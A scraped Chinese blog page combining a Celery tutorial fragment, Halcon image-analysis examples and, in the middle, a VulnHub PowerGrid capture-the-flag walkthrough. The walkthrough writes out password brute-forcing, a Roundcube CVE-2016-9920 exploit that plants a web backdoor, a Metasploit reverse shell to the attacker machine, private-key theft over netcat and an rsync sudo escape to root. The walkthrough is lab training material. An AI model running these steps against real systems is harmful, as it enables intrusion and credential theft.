常見的 brokers 有 rabbitmq、redis、Zookeeper 等。推薦用Redis或RabbitMQ實現隊列服務。

2. Workers

就是 Celery 中的工作者，執行任務的單元，類似與生產/消費模型中的消費者。它實時監控消息隊列，如果有任務就從隊列中取出任務並執行它。

3. Backend / Result Stores

用於存儲任務的執行結果。隊列中的任務運行完后的結果或者狀態需要被任務發送者知道，那麼就需要一個地方儲存這些結果，就是 Result Stores 了。

常見的 backend 有 redis、Memcached 甚至常用的數據庫都可以。

4. Tasks

就是想在隊列中進行的任務，有異步任務和定時任務。一般由用戶、觸發器或其他操作將任務入隊，然後交由 workers 進行處理。

5. Beat

定時任務調度器，根據配置定時將任務發送給Brokers。

二、Celery 基本使用

1.創建一個celery application 用來定義你的任務列表，創建一個任務文件就叫tasks.py吧。

from celery import Celery
 
# 配置好celery的backend和broker
app = Celery('task1',  backend='redis://127.0.0.1:6379/0', broker='redis://127.0.0.1:6379/0')
  
#普通函數裝飾為 celery task
@app.task 
def add(x, y):
    return x + y

如此而來，我們只是定義好了任務函數func函數和worker(celery對象)。worker相當於工作者。

2.啟動Celery Worker來開始監聽並執行任務。broker 我們有了，backend 我們有了，task 我們也有了，現在就該運行 worker 進行工作了，在 tasks.py 所在目錄下運行：

[root@localhost ~]# celery -A tasks worker --loglevel=info    # 啟動方法1
[root@localhost ~]# celery -A tasks worker --l debug          # 啟動方法2

現在 tasks 這個任務集合的 worker 在進行工作（當然此時broker中還沒有任務，worker此時相當於待命狀態），如果隊列中已經有任務了，就會立即執行。

3.調用任務：要給Worker發送任務，需要調用 delay() 方法。

import time
from tasks import add
 
# 不要直接add(6, 6)，這裏需要用 celery 提供的接口 delay 進行調用
result = add.delay(6, 6)
while not result.ready():
    time.sleep(1)
print('task done: {0}'.format(result.get()))

三、Celery 進階使用

1.celery_config.py：配置文件

from __future__ import absolute_import, unicode_literals
#從python的絕對路徑導入而不是當前的腳本     #在python2和python3做兼容支持的
 
BROKER_URL = 'redis://127.0.0.1:6379/0'
# 指定結果的接受地址
CELERY_RESULT_BACKEND = 'redis://127.0.0.1:6379/0'

2.tasks.py

from __future__ import absolute_import, unicode_literals
#從python的絕對路徑導入而不是當前的腳本     #在python2和python3做兼容支持的
from celery import Celery
 
# 配置好celery的backend和broker, task1:app的名字。broker
app = Celery('task1',                              #
             broker='redis://127.0.0.1:6379/0',   # 消息隊列：連rabbitmq或redis
             backend='redis://127.0.0.1:6379/0')  # 存儲結果：redis或mongo或其他數據庫
  
app.config_from_object("celery_config")
app.conf.update(         # 給app設置參數
    result_expires=3600, # 保存時間為1小時
)
 
#普通函數裝飾為 celery task
@app.task 
def add(x, y):
    return x + y
     
if __name__ == '__main__':
    app.start()

3.啟動worker

[root@localhost ~]``# celery -A tasks worker --loglevel=info

4.test.py

import time
from tasks import add
 
# 不要直接add(4, 4)，這裏需要用 celery 提供的接口 delay 進行調用
result = add.delay(6, 6)
print(result.id)
while not result.ready():
    time.sleep(1)
print('task done: {0}'.format(result.get()))

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

VulnHub PowerGrid 1.0.1靶機滲透

access_timePosted on by admin

​本文首發於微信公眾號：VulnHub PowerGrid 1.0.1靶機滲透，未經授權，禁止轉載。

難度評級：官網地址：https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤：https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤：https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼：r4zc官網簡介：靶機會進行計時，即使關閉虛擬機也不會停止，超時后將銷毀證據滲透目標：獲取root權限，找到4個flag本機地址：192.168.110.27靶機地址：192.168.110.36

​

 

信息收集

話不多說，直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP

本機是192.168.110.27，那靶機就是192.168.110.36。接着掃一下端口。

nmap -A -p- 192.168.110.36

沒有打開22號端口可還行，第一次見到這麼任性的靶機。沒關係，80端口終歸還是打開了的，看看網頁。

網頁端显示了一個計時器，文字說明提示這是一封勒索信，3個小時之內要交250億歐元，這黑客可是真夠黑的。不過，這個網頁的最後透露了deez1、p48、all2這幾個用戶名，需要留意一下。

按照規矩，一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36

什麼也沒有可還行，不過按照以前的經驗(VulnHub CengBox2靶機滲透)，有可能是默認字典不夠大，使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片，沒什麼用，而訪問zmail頁面則彈出一個登錄對話框，使用幾個常見密碼和用戶名登錄失敗，嘗試使用burp爆破。

對登錄界面抓包后發現用戶名密碼採用了Base64編碼，使用burp自帶的解碼器解碼。

其實就是在用戶名和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破，用戶名則選擇deez1、p48、all2。

經過漫長的等待，終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登錄密碼，登錄后發現又是一個登錄界面。

使用同樣的用戶名密碼登錄嘗試，登錄成功(簡直多此一舉)。登錄后發現root發送過來了一封右鍵。

郵件中寫道還有另一台服務器，下面的加密信息就是SSH的私鑰，是用p48的gpg私鑰加密的，可以用來登錄那台服務器但沒必要。呵呵，沒必要？我會聽你的？你個糟老頭子壞得很。不過暫時還沒有辦法解密消息，先把加密消息保存下來。

由於在網頁端可以寫郵件，因此猜測能通過附件上傳PHP木馬，經過嘗試后並不奏效，只好去查找roundcube的漏洞。

msfconsole search roundcube

痛苦，在Metasploit里找不到相關漏洞。不過不用灰心，說不定在網上能找到。

經過查找后發現小於1.2.2版本的roundcube存在代碼執行漏洞，編碼為CVE-2016-9920，GitHub鏈接為：https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

 

 

漏洞利用

這個exp是用python寫的，不過作者給的示例都不能使用，因為靶機上有兩個登錄界面，而正常來說，網站只需要登錄一次就夠了。另外，需要更改exp的發件人與收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻擊成功，現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好，發現了第一個flag文件，趕緊查看一下內容。

提示是pivote，並沒有什麼用。既然已經可以執行任意命令，那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

執行之後會显示一條以php開頭的命令，複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell

很無奈，每次拿到的shell都很不好用，沒有安全感。利用python將難用的shell改成bash。

whereis python

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功獲取了www-data的bash，接下來就要作點妖了，先看看家目錄下都有哪些用戶。

cd /homels

很好，有一個叫p48的用戶，這個用戶的網頁端密碼之前已經爆破出來了，嘗試切換到p48。

完美，p48跟我一樣，喜歡一個密碼到處用，更驚喜的是p48家目錄下有一個gpg私鑰，這應該就是可以解密網頁端加密消息的私鑰了(翻譯翻譯，什麼叫驚喜)。

不過奇怪的是，靶機上竟然沒有gpg命令，必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下來解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后還需要把id_rsa傳回到靶機，同樣使用的nc，這裏就不贅述了。

現在問題來了，這個SSH私鑰文件是要拿來連接誰的呢？郵件里root說的另一台服務器在哪呢？莫非這台靶機上還運行了虛擬機？查看一下IP看看有什麼貓膩。

有一個叫docker0的網卡，這台靶機應該還運行着docker，所謂的另一台服務器應該就在容器里運行着。

掃一下172.17.0.0/24這個網段(網卡信息显示網段為172.17.0.0/16，不過172.17.0.0/24的範圍更大，因此不會漏掉可能的IP)，看看另一台靶機的端口是多少。由於靶機沒有安裝nmap，所以只能使用循環加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

還好IP比較靠前，一下子就掃出來了。接着使用SSH私鑰登錄。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

登錄后很容易就發現了第二個flag。

第二個flag提示p48的用戶權限不高，很明顯，這是提示要提權了。

 

 

 

權限提升

首先看看有什麼命令是可以提權執行的。

sudo -l

rsync命令可以免密碼以root用戶權限運行，rsync命令可以理解成一個加強版的cp命令，既然可以使用root權限運行，那麼就可以把/root/下的所有文件拷貝到/tmp目錄下查看。

第三個flag已經出來了，這個flag提示pivoting backwards，難不成第四個flag在docker外？由於最開始掃描靶機端口時22號端口沒有打開，這裏又提示要往回找第四個flag，我們有理由懷疑靶機在docker0網卡上開放了SSH服務，往外連接試試。

實錘了，可以通過172.17.0.1連接到靶機。不過並不知道密碼，p48用戶家目錄下的.ssh目錄里也沒有存放SSH私鑰，這是一件很頭疼的事。

經過查詢，發現rsync命令不僅可以用來拷貝文件，還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好，已經成功提權到root，接下來查看/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1

不出所料，成功登錄到外面的靶機。接下來就是查找第四個flag了。

第四個flag就存放在/root/目錄下，根據提示，這是最後一個flag了。

至此，對PowerGrid的滲透已經全部完成。

 

 

 

總結

這個靶機整體偏難，首先是網頁端的爆破，一般的密碼字典很難跑出來，而rockyou這個密碼字典又很大，如果不耐心等待的話很難爆破出來。
其次是這台靶機多次用到了公私鑰，如果對非對稱加密和gpg工具不熟悉的話，可能就會無法進入下一關。

這台靶機還運行着docker，就相當於有兩台靶機，這是PowerGrid比較新穎的地方。另外，3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說，這台靶機在形式上有一定的創新性，很值得下載下來親自復現一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

Halcon斑點分析官方示例講解

access_timePosted on by admin

官方示例中有許多很好的例子可以幫助大家理解和學習Halcon，下面舉幾個經典的斑點分析例子講解一下

Crystals

圖中显示了在高層大氣中採集到的晶體樣本的圖像。任務是分析對象以確定特定形狀的頻率。重要的對象之一是六角形。

首先，使用read_image從文件中讀取圖像。由於晶體的對比度相對較低且結合了不均勻的背景，因此使用局部閾值執行對象的分割。該輪次由平均過濾器mean_image確定。選擇濾光罩的尺寸，使其具有暗區寬度的大約三倍。 dyn_threshold現在將平滑的和原始的灰色進行比較，選擇那些通過8個灰度值的對比而變暗的像素。connection將對象分為連接的組件。下圖显示了此初始分割的結果。

read_image (Image, 'crystal')
mean_image (Image, ImageMean, 21, 21)
dyn_threshold (Image, ImageMean, RegionDynThresh, 8, 'dark')
connection (RegionDynThresh, ConnectedRegions)

現在的任務是僅選擇六邊形的晶體。為此，首先變成他們的凸包，這就像在每個區域周圍都使用橡皮筋。在這些區域中，選擇那些具有較大的（select_shape）並具有給定灰度值分佈（select_gray）的對象。確定選擇的參數，以便僅保留相關的晶體如下圖。

shape_trans (ConnectedRegions, ConvexRegions, 'convex')
select_shape (ConvexRegions, LargeRegions, 'area', 'and', 600, 2000)
select_gray (LargeRegions, Image, Crystals, 'entropy', 'and', 1, 5.6)

源程序

* crystal.hdev: extraction of hexagonally shaped crystals via local thresholding and region post-processing
* 
dev_close_window ()
dev_update_window ('off')
* ****
* step: acquire image獲取圖像
* ****
read_image (Image, 'crystal')
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, Width, Height, WindowID)
set_display_font (WindowID, 12, 'mono', 'true', 'false')
dev_set_draw ('margin')
dev_set_line_width (2)
dev_display (Image)
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* step: segment image分割圖像
* ****
* -> using a local threshold
mean_image (Image, ImageMean, 21, 21)
dyn_threshold (Image, ImageMean, RegionDynThresh, 8, 'dark')
* -> extract connected components
connection (RegionDynThresh, ConnectedRegions)
dev_display (ConnectedRegions)
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* step: process regions處理區域
* ****
shape_trans (ConnectedRegions, ConvexRegions, 'convex')
select_shape (ConvexRegions, LargeRegions, 'area', 'and', 600, 2000)
select_gray (LargeRegions, Image, Crystals, 'entropy', 'and', 1, 5.6)
dev_display (Image)
dev_display (Crystals)
Atoms

專業顯微鏡能夠確定單個原子的大致位置，這對於例如分析PN結晶體的晶格變化很有用，使用分水嶺方法在這類圖片上細分效果很好。在這裏，每個暗區作為單個區域返回。因為在圖像的外部原子僅部分可見，第一個任務是僅提取那些不靠近圖像邊界的原子。最後提取不規則，這是通過尋找形狀（被擠壓）的異常原子實現的。

gauss_filter (Image, ImageGauss, 5)
watersheds (ImageGauss, Basins, Watersheds)

select_shape (Basins, SelectedRegions1, 'column1', 'and', 2, Width - 1)
select_shape (SelectedRegions1, SelectedRegions2, 'row1', 'and', 2, Height - 1)
select_shape (SelectedRegions2, SelectedRegions3, 'column2', 'and', 1, Width - 3)
select_shape (SelectedRegions3, Inner, 'row2', 'and', 1, Height - 3)
select_shape (Inner, Irregular, ['moments_i1','moments_i1'], 'or', [0,9.5e8], [1.5e8,1e10])

分水嶺方法劃分圖像

結果圖

源程序

* atoms.hdev: Locates irregularities in an atomic grid structure
* 
dev_close_window ()
dev_update_window ('off')
* ****
* Acquire image獲取圖像
* ****
read_image (Image, 'atoms')
get_image_size (Image, Width, Height)
crop_rectangle1 (Image, Image, Height / 2, 0, Height - 1, Width - 1)
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, -1, -1, WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
dev_set_draw ('margin')
dev_set_line_width (2)
dev_display (Image)
disp_message (WindowID, 'Original image', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* Segment image分割圖像
* ****
* -> Using watershed
gauss_filter (Image, ImageGauss, 5)
watersheds (ImageGauss, Basins, Watersheds)
dev_display (Image)
dev_set_colored (12)
dev_display (Watersheds)
disp_message (WindowID, 'Watersheds', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* Process regions處理區域
* ****
* -> Skip regions at the border of the image
smallest_rectangle1 (Basins, Row1, Column1, Row2, Column2)
select_shape (Basins, SelectedRegions1, 'column1', 'and', 2, Width - 1)
select_shape (SelectedRegions1, SelectedRegions2, 'row1', 'and', 2, Height - 1)
select_shape (SelectedRegions2, SelectedRegions3, 'column2', 'and', 1, Width - 3)
select_shape (SelectedRegions3, Inner, 'row2', 'and', 1, Height - 3)
* -> Select irregularly shaped atoms
select_shape (Inner, Irregular, ['moments_i1','moments_i1'], 'or', [0,9.5e8], [1.5e8,1e10])
dev_display (Image)
dev_set_line_width (1)
dev_set_color ('white')
dev_display (Inner)
dev_set_line_width (3)
dev_set_color ('red')
dev_display (Irregular)
disp_message (WindowID, 'Defects', 'window', 12, 12, 'black', 'true')
Analyzing Particles

本示例的任務是分析液體中的顆粒。此應用程序的主要困難是存在兩種類型的物體：大的明亮物體和對比度低的小物體。此外，還存在噪音干擾。

該程序使用兩種不同的方法分別對兩類對象進行分段：全局閾值和局部閾值。通過附加的后處理，可以以可靠的方式提取小顆粒。

threshold (Image, Large, 110, 255)
dilation_circle (Large, LargeDilation, 7.5)

complement (LargeDilation, NotLarge)
reduce_domain (Image, NotLarge, ParticlesRed)
mean_image (ParticlesRed, Mean, 31, 31)
dyn_threshold (ParticlesRed, Mean, SmallRaw, 3, 'light')
opening_circle (SmallRaw, Small, 2.5)
connection (Small, SmallConnection)

源程序

* particle.hdev: Measurement of small particles
* 
dev_update_off ()
dev_close_window ()
dev_open_window (0, 0, 512, 512, 'black', WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
read_image (Image, 'particle')
dev_display (Image)
dev_disp_text ('Original image', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
threshold (Image, Large, 110, 255)
* Dilate regions with a circular structuring element
dilation_circle (Large, LargeDilation, 7.5)
dev_display (Image)
dev_set_draw ('margin')
dev_set_line_width (3)
dev_set_color ('red')
dev_display (LargeDilation)
dev_set_draw ('fill')
dev_disp_text ('Exclude large areas from processing', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
* Continue to calculate small regions
* Return the complement of a region
complement (LargeDilation, NotLarge)
reduce_domain (Image, NotLarge, ParticlesRed)
mean_image (ParticlesRed, Mean, 31, 31)
* Segment the image using a local threshold
dyn_threshold (ParticlesRed, Mean, SmallRaw, 3, 'light')
opening_circle (SmallRaw, Small, 2.5)
connection (Small, SmallConnection)
dev_display (Image)
dev_set_colored (12)
dev_display (SmallConnection)
dev_disp_text ('Extracted small particles', 'window', 12, 12, 'black', [], [])
dev_disp_text ('Press Run (F5) to continue', 'window', 'bottom', 'right', 'black', [], [])
stop ()
* Continue to select several regions and to get information
dev_set_color ('green')
dev_display (Image)
dev_set_draw ('margin')
dev_display (SmallConnection)
Button := 1
* Define limits for the displayed message at the end of the while-loop.
MaxRow := 450
MaxColumn := 440
MinRow := 40
MinColumn := 100
while (Button == 1)
    dev_disp_text (['Select object with left mouse button','Right button to quit'], 'window', 12, 12, 'black', 'box_color', '#fce9d4dd')
    dev_set_color ('green')
    get_mbutton (WindowID, Row, Column, Button)
    dev_display (Image)
    dev_display (SmallConnection)
    dev_set_color ('red')
    select_region_point (SmallConnection, SmallSingle, Row, Column)
    dev_display (SmallSingle)
    count_obj (SmallSingle, NumSingle)
    if (NumSingle == 1)
        intensity (SmallSingle, Image, MeanGray, DeviationGray)
        area_center (SmallSingle, Area, Row, Column)
        * Limit the message so that it is displayed entirely inside the graphics window.
        if (Row > MaxRow)
            Row := MaxRow
        endif
        if (Column > MaxColumn)
            Column := MaxColumn
        endif
        if (Row < MinRow)
            Row := MinRow
        endif
        if (Column < MinColumn)
            Column := MinColumn
        endif
        dev_disp_text (['Area = ' + Area,'Intensity = ' + MeanGray$'.3'], 'image', Row + 10, Column - 90, 'black', 'box_color', '#fce9d4dd')
    endif
endwhile
dev_set_line_width (1)
dev_update_on ()
Extracting Forest Features from Color Infrared Image

本示例的任務是在圖中所示的彩色紅外圖像中檢測不同的對象類別：樹（針恭弘=叶 恭弘和落恭弘=叶 恭弘），草地和道路

圖像數據是彩色紅外圖像，由於其特定的顏色，可以非常輕鬆地提取道路。需要做到那樣的話，要將多通道圖像拆分為單通道。

read_image (Forest, 'forest_air1')
decompose3 (Forest, Red, Green, Blue)
threshold (Blue, BlueBright, 80, 255)
connection (BlueBright, BlueBrightConnection)
select_shape (BlueBrightConnection, Path, 'area', 'and', 100, 100000000)

山毛櫸樹根據其在紅色通道中的強度和最小大小進行分割

threshold (Red, RedBright, 120, 255)
connection (RedBright, RedBrightConnection)
select_shape (RedBrightConnection, RedBrightBig, 'area', 'and', 1500, 10000000)
closing_circle (RedBrightBig, RedBrightClosing, 7.5)
opening_circle (RedBrightClosing, RedBrightOpening, 9.5)
connection (RedBrightOpening, RedBrightOpeningConnection)
select_shape (RedBrightOpeningConnection, BeechBig, 'area', 'and', 1000, 100000000)
select_gray (BeechBig, Blue, Beech, 'mean', 'and', 0, 59)

草地具有相似的光譜特性，但亮度略高

union1 (Beech, BeechUnion)
complement (BeechUnion, NotBeech)
difference (NotBeech, Path, NotBeechNotPath)
reduce_domain (Red, NotBeechNotPath, NotBeechNotPathRed)
threshold (NotBeechNotPathRed, BrightRest, 150, 255)
connection (BrightRest, BrightRestConnection)
select_shape (BrightRestConnection, Meadow, 'area', 'and', 500, 1000000)

使用分水嶺方法提取針恭弘=叶 恭弘樹，並在盆地內部增加閾值

union2 (Path, RedBrightClosing, BeechPath)
smooth_image (Red, RedGauss, 'gauss', 4.0)
invert_image (RedGauss, Invert)
watersheds (Invert, SpruceRed, Watersheds)
select_shape (SpruceRed, SpruceRedLarge, 'area', 'and', 100, 5000)
select_gray (SpruceRedLarge, Red, SpruceRedInitial, 'max', 'and', 100, 200)
gen_empty_obj (LocalThresh)
count_obj (SpruceRedInitial, NumSpruce)
dev_update_var ('off')
dev_update_pc ('off')
for i := 1 to NumSpruce by 1
    select_obj (SpruceRedInitial, SingleSpruce, i)
    min_max_gray (SingleSpruce, Red, 50, Min, Max, Range)
    reduce_domain (Red, SingleSpruce, SingleSpruceRed)
    threshold (SingleSpruceRed, SingleSpruceBright, Min, 255)
    connection (SingleSpruceBright, SingleSpruceBrightCon)
    select_shape_std (SingleSpruceBrightCon, MaxAreaSpruce, 'max_area', 70)
    concat_obj (MaxAreaSpruce, LocalThresh, LocalThresh)
endfor
opening_circle (LocalThresh, FinalSpruce, 1.5)

源程序

dev_close_window ()
dev_update_window ('off')
read_image (Forest, 'forest_air1')
get_image_size (Forest, Width, Height)
dev_open_window (0, 0, Width, Height, 'black', WindowHandle)
decompose3 (Forest, Red, Green, Blue)
dev_display (Red)
threshold (Blue, BlueBright, 80, 255)
connection (BlueBright, BlueBrightConnection)
select_shape (BlueBrightConnection, Path, 'area', 'and', 100, 100000000)
dev_set_color ('red')
dev_set_draw ('margin')
dev_display (Path)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
threshold (Red, RedBright, 120, 255)
connection (RedBright, RedBrightConnection)
select_shape (RedBrightConnection, RedBrightBig, 'area', 'and', 1500, 10000000)
closing_circle (RedBrightBig, RedBrightClosing, 7.5)
opening_circle (RedBrightClosing, RedBrightOpening, 9.5)
connection (RedBrightOpening, RedBrightOpeningConnection)
select_shape (RedBrightOpeningConnection, BeechBig, 'area', 'and', 1000, 100000000)
select_gray (BeechBig, Blue, Beech, 'mean', 'and', 0, 59)
dev_display (Red)
dev_display (Beech)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
union1 (Beech, BeechUnion)
complement (BeechUnion, NotBeech)
difference (NotBeech, Path, NotBeechNotPath)
reduce_domain (Red, NotBeechNotPath, NotBeechNotPathRed)
threshold (NotBeechNotPathRed, BrightRest, 150, 255)
connection (BrightRest, BrightRestConnection)
select_shape (BrightRestConnection, Meadow, 'area', 'and', 500, 1000000)
dev_display (Red)
dev_display (Meadow)
disp_continue_message (WindowHandle, 'black', 'true')
stop ()
union2 (Path, RedBrightClosing, BeechPath)
smooth_image (Red, RedGauss, 'gauss', 4.0)
invert_image (RedGauss, Invert)
watersheds (Invert, SpruceRed, Watersheds)
select_shape (SpruceRed, SpruceRedLarge, 'area', 'and', 100, 5000)
select_gray (SpruceRedLarge, Red, SpruceRedInitial, 'max', 'and', 100, 200)
gen_empty_obj (LocalThresh)
count_obj (SpruceRedInitial, NumSpruce)
dev_update_var ('off')
dev_update_pc ('off')
for i := 1 to NumSpruce by 1
    select_obj (SpruceRedInitial, SingleSpruce, i)
    min_max_gray (SingleSpruce, Red, 50, Min, Max, Range)
    reduce_domain (Red, SingleSpruce, SingleSpruceRed)
    threshold (SingleSpruceRed, SingleSpruceBright, Min, 255)
    connection (SingleSpruceBright, SingleSpruceBrightCon)
    select_shape_std (SingleSpruceBrightCon, MaxAreaSpruce, 'max_area', 70)
    concat_obj (MaxAreaSpruce, LocalThresh, LocalThresh)
endfor
opening_circle (LocalThresh, FinalSpruce, 1.5)
dev_set_line_width (2)
dev_set_color ('red')
dev_display (Red)
dev_display (FinalSpruce)
dev_set_color ('green')
dev_display (Beech)
dev_set_color ('yellow')
dev_display (Meadow)
Checking a Boundary for Fins

本示例的任務是檢查塑料零件的外邊界。在這種情況下，某些對象會显示鰭

程序首先提取背景區域（鰭显示為壓痕）

binary_threshold (Fin, Background, 'max_separability', 'light', UsedThreshold)

然後使用形態學運算符關閉背景區域中的壓痕

 closing_circle (Background, ClosedBackground, 250)

封閉區域與原始區域之間的顯著差異是鰭

 difference (ClosedBackground, Background, RegionDifference)
 opening_rectangle1 (RegionDifference, FinRegion, 5, 5)

源程序

* fin.hdev: Detection of a fin
* 
dev_update_window ('off')
read_image (Fins, 'fin' + [1:3])
get_image_size (Fins, Width, Height)
dev_close_window ()
dev_open_window (0, 0, Width[0], Height[0], 'black', WindowID)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
for I := 1 to 3 by 1
    select_obj (Fins, Fin, I)
    dev_display (Fin)
    binary_threshold (Fin, Background, 'max_separability', 'light', UsedThreshold)
    dev_set_color ('blue')
    dev_set_draw ('margin')
    dev_set_line_width (4)
    dev_display (Background)
    disp_continue_message (WindowID, 'black', 'true')
    stop ()
    closing_circle (Background, ClosedBackground, 250)
    dev_set_color ('green')
    dev_display (ClosedBackground)
    disp_continue_message (WindowID, 'black', 'true')
    stop ()
    difference (ClosedBackground, Background, RegionDifference)
    opening_rectangle1 (RegionDifference, FinRegion, 5, 5)
    dev_display (Fin)
    dev_set_color ('red')
    dev_display (FinRegion)
    area_center (FinRegion, FinArea, Row, Column)
    if (I < 3)
        disp_continue_message (WindowID, 'black', 'true')
        stop ()
    endif
endfor
Bonding Balls

本示例的任務是檢查圖中PCB板所示的球形鍵合直徑

球形鍵的提取有兩個步驟：首先，通過分割亮區來定位裸片，然後將它們轉換為最小的矩形

threshold (Bond, Bright, 100, 255)
shape_trans (Bright, Die, 'rectangle2')

現在，使用reduce_domain處理模具內部的區域。在此ROI中，程序檢查與線材相對應的深色區域

reduce_domain (Bond, Die, DieGrey)
threshold (DieGrey, Wires, 0, 50)
fill_up_shape (Wires, WiresFilled, 'area', 1, 100)

刪除不相關的結構,並按預定順序排列鍵提取所需的特徵

opening_circle (WiresFilled, Balls, 15.5)
connection (Balls, SingleBalls)
select_shape (SingleBalls, IntermediateBalls, 'circularity', 'and', 0.85, 1.0)
sort_region (IntermediateBalls, FinalBalls, 'first_point', 'true', 'column')
smallest_circle (FinalBalls, Row, Column, Radius)

源代碼

* ball.hdev: Inspection of Ball Bonding
* 
dev_update_window ('off')
dev_close_window ()
dev_open_window (0, 0, 728, 512, 'black', WindowID)
read_image (Bond, 'die/die_03')
dev_display (Bond)
set_display_font (WindowID, 14, 'mono', 'true', 'false')
disp_continue_message (WindowID, 'black', 'true')
stop ()
threshold (Bond, Bright, 100, 255)
shape_trans (Bright, Die, 'rectangle2')
dev_set_color ('green')
dev_set_line_width (3)
dev_set_draw ('margin')
dev_display (Die)
disp_continue_message (WindowID, 'black', 'true')
stop ()
reduce_domain (Bond, Die, DieGrey)
threshold (DieGrey, Wires, 0, 50)
fill_up_shape (Wires, WiresFilled, 'area', 1, 100)
dev_display (Bond)
dev_set_draw ('fill')
dev_set_color ('red')
dev_display (WiresFilled)
disp_continue_message (WindowID, 'black', 'true')
stop ()
opening_circle (WiresFilled, Balls, 15.5)
dev_set_color ('green')
dev_display (Balls)
disp_continue_message (WindowID, 'black', 'true')
stop ()
connection (Balls, SingleBalls)
select_shape (SingleBalls, IntermediateBalls, 'circularity', 'and', 0.85, 1.0)
sort_region (IntermediateBalls, FinalBalls, 'first_point', 'true', 'column')
dev_display (Bond)
dev_set_colored (12)
dev_display (FinalBalls)
disp_continue_message (WindowID, 'black', 'true')
stop ()
smallest_circle (FinalBalls, Row, Column, Radius)
NumBalls := |Radius|
Diameter := 2 * Radius
meanDiameter := mean(Diameter)
minDiameter := min(Diameter)
dev_display (Bond)
disp_circle (WindowID, Row, Column, Radius)
dev_set_color ('white')
disp_message (WindowID, 'D: ' + Diameter$'.4', 'image', Row - 2 * Radius, Column, 'white', 'false')
dev_update_window ('on')
Surface Scratches

本示例檢測金屬表面上的划痕
分割的主要困難是背景不均勻以及划痕是薄的結構。可以使用局部閾值解決這兩個問題。即算子mean_image和dyn_threshold,在connection后，將小對象(主要是噪聲)移除

mean_image (Image, ImageMean, 7, 7)
dyn_threshold (Image, ImageMean, DarkPixels, 5, 'dark')
connection (DarkPixels, ConnectedRegions)
select_shape (ConnectedRegions, SelectedRegions, 'area', 'and', 10, 1000)

選擇的一部分是划痕，但是如果我們仔細觀察，就會發現它們被部分分割了。為了解決這個問題，我們將所有分割部分再次合併到一個大區域中。通過應用dilation_circle將具有給定最大距離的物體組合在一起。最終獲得正確形狀的划痕。由於膨脹的緣故，使用skeleton將形狀變薄到一個像素的寬度

union1 (SelectedRegions, RegionUnion)
dilation_circle (RegionUnion, RegionDilation, 3.5)
skeleton (RegionDilation, Skeleton)
connection (Skeleton, Errors)

最後一步是區分表面上的小點和划痕。這是通過使用大小作為特徵的select_shape實現的。

select_shape (Errors, Scratches, 'area', 'and', 50, 10000)
select_shape (Errors, Dots, 'area', 'and', 1, 50)

源代碼

* This programm shows the extraction of surface scratches via
* local thresholding and morphological post-processing
* 
dev_update_off ()
dev_close_window ()
* 
* Step 1: Acquire image
* 
read_image (Image, 'surface_scratch')
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, Width, Width, WindowID)
set_display_font (WindowID, 16, 'mono', 'true', 'false')
